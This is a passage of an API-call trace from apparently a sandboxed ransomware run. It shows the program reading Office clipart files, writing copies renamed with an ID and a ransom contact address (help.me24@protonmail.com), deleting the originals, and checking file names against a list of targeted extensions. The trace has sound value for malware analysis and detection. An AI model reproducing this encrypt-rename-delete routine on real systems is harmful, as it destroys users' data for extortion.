	[0172.978] CloseHandle (hObject=0x544) returned 1
	[0172.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220
	[0172.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.979] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.979] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0172.980] GetLastError () returned 0x0
	[0172.980] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x16b4, lpOverlapped=0x0) returned 1
	[0172.981] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x16c0, lpOverlapped=0x0) returned 1
	[0172.983] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.983] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.983] SetEndOfFile (hFile=0x52c) returned 1
	[0172.983] CloseHandle (hObject=0x52c) returned 1
	[0172.983] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.983] SetEndOfFile (hFile=0x544) returned 1
	[0172.986] CloseHandle (hObject=0x544) returned 1
	[0172.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1
	[0173.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.177] lstrlenW (lpString=".doc") returned 4
	[0173.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString=".docx") returned 5
	[0173.187] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.187] lstrlenW (lpString=".pdf") returned 4
	[0173.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString=".xls") returned 4
	[0173.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.187] lstrlenW (lpString=".xlsx") returned 5
	[0173.187] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.187] lstrlenW (lpString=".ppt") returned 4
	[0173.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.187] lstrlenW (lpString=".zip") returned 4
	[0173.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.187] lstrlenW (lpString=".rar") returned 4
	[0173.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString=".bz2") returned 4
	[0173.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString=".7z") returned 3
	[0173.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.187] lstrlenW (lpString=".dbf") returned 4
	[0173.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.187] lstrlenW (lpString=".1cd") returned 4
	[0173.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.188] lstrlenW (lpString=".jpg") returned 4
	[0173.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.188] lstrlenW (lpString=".doc") returned 4
	[0173.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString=".docx") returned 5
	[0173.188] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.188] lstrlenW (lpString=".pdf") returned 4
	[0173.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString=".xls") returned 4
	[0173.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.188] lstrlenW (lpString=".xlsx") returned 5
	[0173.188] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.188] lstrlenW (lpString=".ppt") returned 4
	[0173.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.188] lstrlenW (lpString=".zip") returned 4
	[0173.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.188] lstrlenW (lpString=".rar") returned 4
	[0173.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString=".bz2") returned 4
	[0173.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString=".7z") returned 3
	[0173.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.188] lstrlenW (lpString=".dbf") returned 4
	[0173.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.188] lstrlenW (lpString=".1cd") returned 4
	[0173.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0173.189] lstrlenW (lpString=".jpg") returned 4
	[0173.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.189] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.189] lstrlenW (lpString="J0106816.WMF") returned 12
	[0173.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.252] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3332) returned 1
	[0173.252] CloseHandle (hObject=0x554) returned 1
	[0173.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220
	[0173.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.253] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.253] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.254] GetLastError () returned 0x0
	[0173.254] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xd04, lpOverlapped=0x0) returned 1
	[0173.255] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0173.256] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.256] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.257] SetEndOfFile (hFile=0x558) returned 1
	[0173.257] CloseHandle (hObject=0x558) returned 1
	[0173.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.257] SetEndOfFile (hFile=0x554) returned 1
	[0173.259] CloseHandle (hObject=0x554) returned 1
	[0173.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1
	[0173.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.261] lstrlenW (lpString=".doc") returned 4
	[0173.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString=".docx") returned 5
	[0173.261] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.261] lstrlenW (lpString=".pdf") returned 4
	[0173.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString=".xls") returned 4
	[0173.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.261] lstrlenW (lpString=".xlsx") returned 5
	[0173.261] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.261] lstrlenW (lpString=".ppt") returned 4
	[0173.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.261] lstrlenW (lpString=".zip") returned 4
	[0173.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.261] lstrlenW (lpString=".rar") returned 4
	[0173.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString=".bz2") returned 4
	[0173.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString=".7z") returned 3
	[0173.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.261] lstrlenW (lpString=".dbf") returned 4
	[0173.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.261] lstrlenW (lpString=".1cd") returned 4
	[0173.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.261] lstrlenW (lpString=".jpg") returned 4
	[0173.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.262] lstrlenW (lpString=".doc") returned 4
	[0173.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString=".docx") returned 5
	[0173.262] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.262] lstrlenW (lpString=".pdf") returned 4
	[0173.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString=".xls") returned 4
	[0173.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.262] lstrlenW (lpString=".xlsx") returned 5
	[0173.262] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.262] lstrlenW (lpString=".ppt") returned 4
	[0173.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.262] lstrlenW (lpString=".zip") returned 4
	[0173.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.262] lstrlenW (lpString=".rar") returned 4
	[0173.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString=".bz2") returned 4
	[0173.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString=".7z") returned 3
	[0173.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.262] lstrlenW (lpString=".dbf") returned 4
	[0173.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.262] lstrlenW (lpString=".1cd") returned 4
	[0173.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0173.262] lstrlenW (lpString=".jpg") returned 4
	[0173.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.263] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.263] lstrlenW (lpString="J0107024.WMF") returned 12
	[0173.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.264] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3020) returned 1
	[0173.264] CloseHandle (hObject=0x554) returned 1
	[0173.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220
	[0173.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.265] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.265] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.265] GetLastError () returned 0x0
	[0173.265] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xbcc, lpOverlapped=0x0) returned 1
	[0173.267] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0173.268] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.269] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.269] SetEndOfFile (hFile=0x558) returned 1
	[0173.269] CloseHandle (hObject=0x558) returned 1
	[0173.269] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.269] SetEndOfFile (hFile=0x554) returned 1
	[0173.272] CloseHandle (hObject=0x554) returned 1
	[0173.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.274] lstrlenW (lpString=".doc") returned 4
	[0173.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.274] lstrlenW (lpString=".docx") returned 5
	[0173.274] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.274] lstrlenW (lpString=".pdf") returned 4
	[0173.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.274] lstrlenW (lpString=".xls") returned 4
	[0173.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.274] lstrlenW (lpString=".xlsx") returned 5
	[0173.274] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.274] lstrlenW (lpString=".ppt") returned 4
	[0173.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.274] lstrlenW (lpString=".zip") returned 4
	[0173.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.274] lstrlenW (lpString=".rar") returned 4
	[0173.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.274] lstrlenW (lpString=".bz2") returned 4
	[0173.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.274] lstrlenW (lpString=".7z") returned 3
	[0173.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.275] lstrlenW (lpString=".dbf") returned 4
	[0173.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.275] lstrlenW (lpString=".1cd") returned 4
	[0173.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.275] lstrlenW (lpString=".jpg") returned 4
	[0173.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.275] lstrlenW (lpString=".doc") returned 4
	[0173.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString=".docx") returned 5
	[0173.275] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.275] lstrlenW (lpString=".pdf") returned 4
	[0173.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString=".xls") returned 4
	[0173.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.275] lstrlenW (lpString=".xlsx") returned 5
	[0173.275] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.275] lstrlenW (lpString=".ppt") returned 4
	[0173.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.275] lstrlenW (lpString=".zip") returned 4
	[0173.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.275] lstrlenW (lpString=".rar") returned 4
	[0173.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.275] lstrlenW (lpString=".bz2") returned 4
	[0173.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.276] lstrlenW (lpString=".7z") returned 3
	[0173.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.276] lstrlenW (lpString=".dbf") returned 4
	[0173.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.276] lstrlenW (lpString=".1cd") returned 4
	[0173.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0173.276] lstrlenW (lpString=".jpg") returned 4
	[0173.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.276] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.276] lstrlenW (lpString="J0107026.WMF") returned 12
	[0173.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.277] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7632) returned 1
